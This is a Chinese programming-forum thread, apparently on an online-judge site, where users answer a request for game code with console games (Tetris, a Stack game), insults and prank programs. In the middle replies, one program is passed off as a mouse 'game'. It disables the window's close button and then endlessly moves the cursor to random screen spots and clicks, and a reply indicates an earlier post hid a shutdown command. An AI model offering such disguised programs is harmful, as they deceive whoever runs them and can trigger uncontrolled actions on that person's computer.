- 游戏
- 2018-02-02 16:12:31 @
请分享
(只提供代码交流,要吵的别进。)
35 条评论
-
MDS逐梦之星 LV 8 @ 2018-03-24 12:57:12
#include<bits/stdc++.h>
#include<windows.h>int a[24][17],i,j,tim=800,ti=800,shape=0,b,bn,ta[4][4],turn[4][4],nex[4][4],nextshape,add=0,score=0,speed=1,ok=1,mouse=0,best=0;
void Place(const int x, const int y)
{ COORD PlaceCursorHere;PlaceCursorHere.X = y;PlaceCursorHere.Y = x;
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), PlaceCursorHere);
return;
}
void color(int x)
{SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),x);}
void appear()
{for(i=3;i<=22;i++) for(j=1;j<=15;j++) if(a[i][j]!=0) {Place(i-2,2*j); printf("■");}}
void disappear()
{for(i=3;i<=22;i++) for(j=1;j<=15;j++) if(a[i][j]==2) {Place(i-2,2*j); printf(" ");}}
int search(int x0,int y0,int x,int y)
{
POINT pt; HWND h=GetForegroundWindow(); GetCursorPos(&pt); ScreenToClient(h,&pt);
if(pt.x>=x0&&pt.y>=y0&&pt.x<=x&&pt.y<=y)
{
if(mouse!=0) {Sleep(100); return 2;} else return 1;
}
else return 0;
}
void button(int x)
{
int m=x*10;
if(x<3)
{
Place(22,m); printf("┌┄┄┄┐");
Place(23,m);
{
if(x==0) {if(ok!=0) printf("┆开始 ┆"); else printf("┆暂停 ┆");}
if(x==1) printf("┆重置 ┆"); if(x==2) printf("┆退出 ┆");
}
Place(24,m); printf("└┄┄┄┘");
}
else
{
Place(9,m-33); printf("┌┄┄┐");
Place(10,m-33);
{
if(x==4) printf("┆是┆"); else printf("┆否┆");
}
Place(11,m-33); printf("└┄┄┘");
}
}
void menu(int x)
{
int k,l;
if(x==0)
{
if(ok!=0) {ok=0; return;}
else while(1)
{
mouse=GetAsyncKeyState(VK_LBUTTON);
Place(9,13); printf("暂停");
if(search(7,360,71,390)==2) break; Sleep(50);
}
Place(9,12); for(j=1;j<=6;j++) printf(" "); //appear();}
else
{
for(i=1;i<=20;i++) for(j=2;j<=30;j++) {Place(i,j); printf(" ");}
Place(7,2); for(i=1;i<=15;i++) printf("┄"); Place(12,2); for(i=1;i<=15;i++) printf("┄");
Place(8,6); printf("你想要 "); if(x==1) printf("重置?"); if(x==2) printf("exit?");
button(4); button(5);
while(1)
{
mouse=GetAsyncKeyState(VK_LBUTTON);
for(i=0;i<=1;i++)
{
k=search(63+i*80,150,110+i*80,180);
if(k!=2) {if(k==1) color(15); else color(7); button(i+4);}
else
{for(l=7;l<=12;l++) for(j=2;j<=30;j++) {Place(l,j); printf(" ");}
if(i==0) {if(x==1) ok=2; else exit(0);} return;
}
}
Sleep(50);
}
}
}
void click()
{
for(i=0;i<=2;i++)
{ mouse=GetAsyncKeyState(VK_LBUTTON);
int k=search(i*80+7,360,i*80+71,390);
if(k!=2) {if(k==1) color(15); else color(7); button(i); color(7);}
else{menu(i); return;}
}
Sleep(50);
}
void ss()
{
Place(9,39); printf("%d",score);
if(score>=speed*100)
{
speed++; ti=ti-200;
if(ti<0) ti=0;
else
{
for(i=1;i<=4;i++)
{
Place(9,12); printf("加速!"); Sleep(70);
Place(9,12); for(j=1;j<=9;j++) printf(" "); Sleep(70);
}Sleep(200);
}
}
if(best<score) best=score;
appear(); Place(12,39); printf("%d",speed); Place(15,39); printf("%d",best);
}
void replace()
{
for(i=1;i<=20;i++) for(j=2;j<=30;j++) {Place(i,j); printf(" ");}
for(i=0;i<=22;i++) for(j=1;j<=15;j++) a[i][j]=0; for(i=1;i<=15;i++) a[23][i]=1; for(i=1;i<=23;i++) {a[i][0]=1; a[i][16]=1;} ss();
tim=800;ti=800;shape=0;add=0;score=0;speed=1;
}
void change(int x)
{
int q=0,l;
for(l=1;l<=x;l++)
{
for(j=0;j<=2+add;j++)
{
for(i=2+add;i>=0;i--)
{
turn[j][q]=ta[i][j];
q++;
if(q>2+add) q=0;
}
}
for(i=0;i<=3;i++) for(j=0;j<=3;j++) ta[i][j]=turn[i][j];
}
}
void born()
{
int x,q=0; srand(time(NULL)); bn=b; shape=nextshape; x=rand()%12+1; if(b==5&&x>1) {x--; add=1;}
for(i=0;i<=2+add;i++) for(j=x;j<=x+2+add;j++) {a[i][j]=nex[i][q]; q++; if(q>2+add) q=0;}add=0;
}
void next()
{
srand(time(NULL)); b=rand()%7; nextshape=rand()%4; add=0;
for(i=3;i<=6;i++) for(j=37;j<=45;j++) {Place(i,j); printf(" ");}
for(i=0;i<=3;i++) for(j=0;j<=3;j++) nex[i][j]=turn[i][j]=ta[i][j]=0; ta[1][1]=2;
if(b==0) ta[1][2]=ta[1][0]=ta[0][1]=2; if(b==1) ta[1][2]=ta[1][0]=ta[0][0]=2; if(b==2) ta[1][2]=ta[1][0]=ta[0][2]=2; if(b==3) ta[1][0]=ta[0][1]=ta[0][2]=2;
if(b==4) ta[0][0]=ta[0][1]=ta[1][2]=2; if(b==5) {ta[1][0]=ta[1][2]=ta[1][3]=2; add=1;} if(b==6) ta[0][0]=ta[0][1]=ta[1][0]=2;
if(nextshape>0&&b!=6)
{change(nextshape); for(i=0;i<=3;i++) for(j=0;j<=3;j++) {nex[i][j]=turn[i][j]; if(nex[i][j]==2) {Place(i+3,j*2+37); printf("■");}}}
else {for(i=0;i<=3;i++) for(j=0;j<=3;j++) {nex[i][j]=ta[i][j]; if(nex[i][j]==2) {Place(i+3,j*2+37); printf("■");}}}
}
void clear()
{
int c=0,f=0,l[23],s=0,k;
for(i=3;i<=22;i++)
{
l[i]=0;
for(j=1;j<=15;j++) c=a[i][j]+c;
if(c==15)
{
for(j=1;j<=15;j++) a[i][j]=0;
for(k=i-1;k>=2;k--) for(j=1;j<=15;j++) a[k+1][j]=a[k][j];
f++; l[i]=1; s=5;
}
c=0;
}
score=score+f*10; while(f>1) {score=score+f*5; f--;} f=0;
while(s>0)
{
for(i=22;i>=3;i--) if(l[i]==1) { Place(i-2,2); for(j=1;j<=15;j++) printf("■");}Sleep(70);
for(i=22;i>=3;i--) if(l[i]==1) { Place(i-2,2); for(j=1;j<=30;j++) printf(" ");}Sleep(70);s--;
}
for(i=3;i<=22;i++) for(j=1;j<=15;j++) {Place(i-2,2*j); printf(" ");} appear();
}
void control()
{
int up,down,right,left,c=0,d=0,x,y,no=0,k,l=0,q=0; k=shape; add=0;
up=GetAsyncKeyState(VK_UP); down=GetAsyncKeyState(VK_DOWN); right=GetAsyncKeyState(VK_RIGHT); left=GetAsyncKeyState(VK_LEFT);
if(down!=0) { tim=0;}
if(left!=0||right!=0)
{
Sleep(100);disappear();
for(i=0;i<=22;i++) for(j=1;j<=15;j++)
{
if(a[i][j]==2&&a[i][j-1]!=1) c++; if(a[i][j]==2&&a[i][j+1]!=1) d++;
}
for(i=0;i<=22;i++) for(j=1;j<=15;j++) if(left!=0&&c==4&&a[i][j]==2) {a[i][j-1]=a[i][j]; a[i][j]=0;}
for(i=0;i<=22;i++) for(j=15;j>=1;j--) if(right!=0&&d==4&&a[i][j]==2) {a[i][j+1]=a[i][j];a[i][j]=0;} appear();
}
if(up!=0&&bn!=6)
{
Sleep(150); disappear();
for(i=0;i<=22;i++)
{
for(j=1;j<=15;j++) if(a[i][j]==2) {x=i; no=1; break;}
if(no==1) break;
} no=0;
for(j=1;j<=15;j++)
{
for(i=0;i<=22;i++) if(a[i][j]==2) {y=j; no=1; break;}
if(no==1) break;
} no=0;
if(k==1) y--; if(k==2) x--; add=0;
if(bn==5) {add=1; if(k==0||k==2) x--; if(k==1||k==3) y--;}
for(i=0;i<=3;i++) for(j=0;j<=3;j++) ta[i][j]=a[x+i][y+j];
if(bn>=0&&bn<5)
{
if(k==0) ta[2][0]=0; if(k==1) ta[0][0]=0; if(k==2) ta[0][2]=0; if(k==3) ta[2][2]=0;
}
if(bn==5)
{ if(k==0) ta[0][3]=ta[2][0]=ta[2][1]=ta[3][1]=ta[3][0]=0;
if(k==1) ta[0][0]=ta[1][0]=ta[0][1]=ta[1][1]=ta[3][3]=0;
if(k==2) ta[3][0]=ta[0][2]=ta[0][3]=ta[1][2]=ta[1][3]=0;
if(k==3) ta[0][0]=ta[2][2]=ta[2][3]=ta[3][2]=ta[3][3]=0;
}
for(i=0;i<=2+add;i++) for(j=0;j<=2+add;j++) if(ta[i][j]!=1) l++;
if(l==9+add*7)
{
change(1);
for(i=0;i<=22;i++) for(j=1;j<=15;j++) if(a[i][j]==2) a[i][j]=0;
for(i=0;i<=2+add;i++) for(j=0;j<=2+add;j++) if(turn[i][j]==2) a[x+i][y+j]=turn[i][j]; shape++;
}
if(shape>3) shape=0; appear();
}
}
int main()
{
int k,start,finish,d; printf("┌"); for(i=1;i<=15;i++) printf("┄"); printf("┐\n");
for(i=1;i<=20;i++) printf("┆\n"); printf("└");
for(i=1;i<=15;i++) printf("┄"); printf("┘"); for(i=1;i<=20;i++) {Place(i,32); printf("┆\n");}
Place(2,37); printf("下一个"); Place(8,37); printf("得分"); Place(14,37); printf("最高分"); Place(11,37); printf("速度");
for(i=0;i<=2;i++) button(i);
while(ok==1) click();
while(ok!=1)
{
replace(); next();
while(1)
{
born();
next();
while(1)
{
appear();
k=0;
start=clock();
while(1)
{
finish=clock(); d=finish-start;
if(d>=tim) break;
control(); click(); if(ok==2) break;
}
if(ok==2) break; disappear();
for(i=22;i>=0;i--) for(j=1;j<=15;j++) if(a[i][j]==2&&a[i+1][j]!=1) k++;
if(k==4)
{
for(i=22;i>=0;i--) for(j=1;j<=15;j++) if(a[i][j]==2)
{
a[i+1][j]=2;a[i][j]=0;
}
}
else
{
for(i=22;i>=0;i--) for(j=1;j<=15;j++) if(a[i][j]==2) a[i][j]=1;
break;
}
tim=ti; appear();
}
if(ok==2) break;
appear();clear();ss();
for(i=1;i<=15;i++) if(a[2][i]==1) {ok=1; break;}
}
if(ok==2) {ok=0; continue;}
for(i=1;i<=20;i++) for(j=2;j<=30;j++) {Place(i,j); printf(" ");}
Place(9,12); printf("游戏结束!");
while(ok==1) click();
}
return 0;
} -
2018-03-24 12:46:17@
恩呢
-
2018-03-24 12:46:06@
喂
-
2018-03-24 12:45:25@
每看一次品论要刷新一次
-
2018-03-24 12:45:07@
他这里刷新好慢
-
2018-03-24 12:45:00@
啊啊啊
-
2018-03-24 12:44:01@
喂!
-
2018-03-24 12:43:24@
你干嘛呢
-
2018-03-24 12:42:56@
人呢、
-
2018-03-24 12:42:13@
聊聊天
-
2018-03-24 12:42:04@
@待到山花烂漫时,我好无聊
-
2018-03-24 12:41:51@
logbug
-
2018-02-23 18:10:06@
打开编译器头文件库
例如:
C:\MinGW\include\cursor.h
名字要叫cursor.h,不然编译不了。
在cursor.h里面粘贴这个:#include<cmath> #include<ctime> #include<cstdio> #include<cstdlib> #include<windows.h> #include<algorithm> using namespace std; #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0) //不要问我这是什么 struct Button{//按钮类型 int x,y,color;//按钮位置和颜色 const char *name;//名字 int len;//名字的长度 }; void GetPos(POINT &pt){//获得鼠标相对于屏幕的位置 //POINT是自带类型 HWND hwnd=GetForegroundWindow(); GetCursorPos(&pt); ScreenToClient(hwnd,&pt); pt.y=pt.y/16,pt.x=pt.x/16;//除以16,想不明白自己把它去掉试试 } void color(int a){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);} //修改颜色 //想知道每个颜色的代码就for循环1到256看看 void gto(int x,int y)//将打字的光标移到x行y列 { COORD pos;pos.X=y*2;pos.Y=x; //必须反过来 //y*2是因为汉字是2个字符 SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos); } Button NewButton(int x,int y,int color,const char *name){ Button t; t.x=x,t.y=y,t.name=name; t.color=color; t.len=strlen(name); return t;//新建按钮,返回它 } bool Preserve(Button A){ //维护一个按钮 //如果要使这个起作用必须在循环中不断执行它 //详见后面的示例 gto(A.x,A.y),color(A.color),printf("%s",A.name); POINT pt; GetPos(pt); if(pt.y==A.x&&(pt.x>=A.y&&pt.x<=A.y+A.len/2)){ color(A.color+16),gto(A.x,A.y),printf("%s",A.name); if(KEY_DOWN(MOUSE_MOVED)) return 1;//检测到点击按钮 } return 0;//没有检测到 }
然后可以编译运行这个游戏:
#include<conio.h> #include<cursor.h> #include<iostream> #include<fstream> //#include<graphics.h> using namespace std; #define TIME 70 #define $ Sleep(100) #define $$ Sleep(500) #define $$$ Sleep(1000) int NY=499; void CLS(){color(112),system("cls");} int Rcolor(){ int cl=rand()%15+112; while(cl==119) cl=rand()%15+112; return cl; } int wide=12,L=6,R=5+wide,Wide=24; //宽24 //高34 //0 1 2 int Fall(int h,int tmp){ if(tmp+wide<L||R<tmp) return 0; if(tmp==L&&tmp+wide-1==R) return 2; if(L<=tmp) { for(int i=R+1;i<=min(Wide,tmp+wide-1);i++)/*可改进*/ gto(h,i),printf(" "); L=tmp; } else { for(int i=max(0,tmp-1);i<=L-1;i++) gto(h,i),printf(" "); R=tmp+wide-1; } wide=R-L+1; return 1; } int Check(int h,int x){ getch(); Fall(h,x); } int NewFloor(int h){ int tmp=0; if(!wide) return 0; color(Rcolor()); while(1){//滑块移动by LSK(修改版) for(tmp=0;tmp<=Wide+wide-1;tmp++){ if(kbhit()) return Check(h,tmp-wide); if(tmp<=Wide) gto(h,tmp),printf("■"); if(wide<=tmp) gto(h,tmp-wide),printf(" "); if(kbhit()) return Check(h,tmp-wide+1); Sleep(TIME); } for(tmp=Wide;tmp>=1-wide;tmp--){ if(kbhit())if(kbhit()) return Check(h,tmp+1); if(tmp<=Wide-wide) gto(h,tmp+wide),printf(" "); if(0<=tmp) gto(h,tmp),printf("■"); if(kbhit())if(kbhit()) return Check(h,tmp); Sleep(TIME); } } } void GameOver(int score){ //getchar(); int times=3; while(times--){ system("color 08"); Sleep(50); system("color 80"); Sleep(50); } Sleep(1000); /*----------------------------------------*/ int Best=0; ofstream Input("Best.stk"); int READIN=-1; Input<<READIN; gto(0,0); //Input.close(); if(READIN==-1) Best=score; Best=max(Best,score); ifstream Output("Best.stk"); Output>>Best; /*----------------------------------------*/ CLS();gto(1,0); puts("你输了……");$$$; puts("尽管这个游戏总是WZY赢……");$$$; printf("你的得分:%d\n",score); printf("最佳得分:%d\n",Best); wide=12,L=6,R=5+wide; Button Quit=NewButton(6,20,127,"离开"); while(1){ if(Preserve(Quit)) return; $; } } void NewGame(){ system("color 70");system("cls"); gto(NY-1,6),color(Rcolor()),printf("■■■■■■■■■■■■"); int height=0,score=0,row=0; bool flag=0,FLAG=0; while(1){ if(FLAG) gto(NY-43,11),color(113),printf(" "); gto(NY-44,11),color(113),printf("%05d",score); //getchar(); int res=NewFloor(NY-height-2); if(flag){ gto(NY-43,10),color(124),printf(" "); flag=0; } if(res==0) break; if(res==1){ height++,score++; if(row){ if(row>=3){ if(FLAG) gto(NY-42,10),color(124),printf(" "); gto(NY-43,10),color(124),printf("连击失败!!"); flag=1; } row=0; } } else{ row++; if(row>=3){ if(FLAG) gto(NY-42,10),color(124),printf(" "); gto(NY-43,10),color(124),printf("连击%03d!!",row); } if(row%8==0){ if(FLAG) gto(NY-31,10),color(124),printf(" "); int times=rand()%10+1; while(times--){ gto(NY-27,2),color(Rcolor()),printf("帅"); gto(NY-23,2),color(Rcolor()),printf("气"); gto(NY-27,20),color(Rcolor()),printf("%d",row); gto(NY-25,20),color(Rcolor()),printf("连"); gto(NY-23,20),color(Rcolor()),printf("击"); $; } } score+=(row/3)+1; height++; } if(height>30){ NY--; height--; FLAG=1; } } GameOver(score); } void PrintRule(){ CLS();gto(1,0); puts("游戏说明");$$$; puts("使用空格键进行操作");$$$; puts("让移动中的方块落下与下方的方块重合");$$$; puts("未重合的部分便会被WZY吃掉");$$$; puts("逃脱WZY的魔爪,让你的STACK堆得更高!");$$$; Button Quit=NewButton(6,20,127,"离开"); while(1){ if(Preserve(Quit)) return; $; } } int main(){ srand((unsigned)time(NULL)); system("title Stack"); system("mode con cols=50 lines=500"); system("color 70"); gto(2,9),color(125),printf(" STACK"); Button Begin=NewButton(4,10,112,"- 新游戏"); Button Help=NewButton(6,10,112,"- 帮助"); Button Quit=NewButton(8,10,112,"- 离开"); while(1){ if(Preserve(Begin)){ NewGame(); system("cls"); system("color 70"); gto(2,9),color(125),printf(" STACK"); } if(Preserve(Help)){ PrintRule(); system("cls"); system("color 70"); gto(2,9),color(125),printf(" STACK"); } if(Preserve(Quit)){ color(7),system("cls"); return 0; } $; } }
-
2018-02-23 13:53:04@
= =...什么玩意儿
-
2018-02-16 18:28:16@
面白い。。。
-
2018-02-14 19:25:02@
。。。这贴真有意思
-
2018-02-14 14:58:56@
蛤?我是不是走到4399了,这里不是做题目的地方么(手动滑稽)
-
2018-02-04 15:45:31@
智障
-
2018-02-03 16:23:43@
金山打字通那你要不要?
-
2018-02-03 14:52:10@
智障
-
2018-02-03 13:46:26@
呵呵,楼主是智障
-
2018-02-03 13:11:51@
防止关机代码:#include <stdio.h>
#include <windows.h>
int main()
{ while(1)
system("shutdown -a");
return 0;}
建议打开这个后再打开楼下的 -
2018-02-03 13:11:01@
挺好玩的呀,只要把那一条关机语句删了就可以了
-
2018-02-03 13:07:28@
怎么样?好玩不?爽不爽?感谢我吧!
-
2018-02-03 13:01:14@
刚刚给的是错的,现在给的是对的,看,鼠标有定义位置,so,是鼠标游戏,我叫这个游戏叫《鼠标的舞蹈》.
#include <windows.h>
#include <bits/stdc++.h>
#include <time.h>
int main()
{
int i;
DeleteMenu(GetSystemMenu(GetConsoleWindow(), FALSE), SC_CLOSE, MF_BYCOMMAND);
DrawMenuBar(GetConsoleWindow());
scanf("%d",&i);
if(i)
{
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
//随机生成鼠标位置定义
for(;;)
{
SetCursorPos(rand()%x,rand()%y);mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);Sleep(10);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); Sleep(20);
}
return 0;
}
return 0;
} -
2018-02-03 12:55:23@
好吧,给你一个.
#include <windows.h>
int main()
{
int i;
scanf("%d",&i);
if(i)
{
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
//随机生成鼠标位置定义
for(;;)
{
SetCursorPos(rand()%x,rand()%y);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);Sleep(10);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); Sleep(20);
}
return 0;
}
return 0;
} -
2018-02-03 12:50:05@
#include <stdiuo.h>
main()
{
printf("百度上面有一把");
return 0;} -
2018-02-03 12:42:41@
啊呸!应该这样说:#include <stdio.h>
int main()
{printf("有的,有的,在4399游戏里,全是用鼠标控制的游戏");
return 0;
} -
2018-02-03 12:38:40@
呸,大部分是的
-
2018-02-03 12:38:25@
有的,有的,在4399游戏里,全是用鼠标控制的游戏
-
2018-02-03 12:25:35@
@log/bug:对
-
2018-02-03 12:19:20@
#include <stdio.h>
int main()
{printf("2B!智障");
return 0;}代码交流 -
2018-02-03 10:04:25@
觉得很奇怪,你不是把这个网站所有c++/c的游戏全部复制了吗?这么贪得无厌?对你也是佩服.人呐,还是知足点好.
-
2018-02-03 09:59:20@
不过你自己都知道从网上复制游戏,然后版权为自己的,还要我们的作甚?
-
2018-02-03 09:55:57@
你要这个做什么?
- 1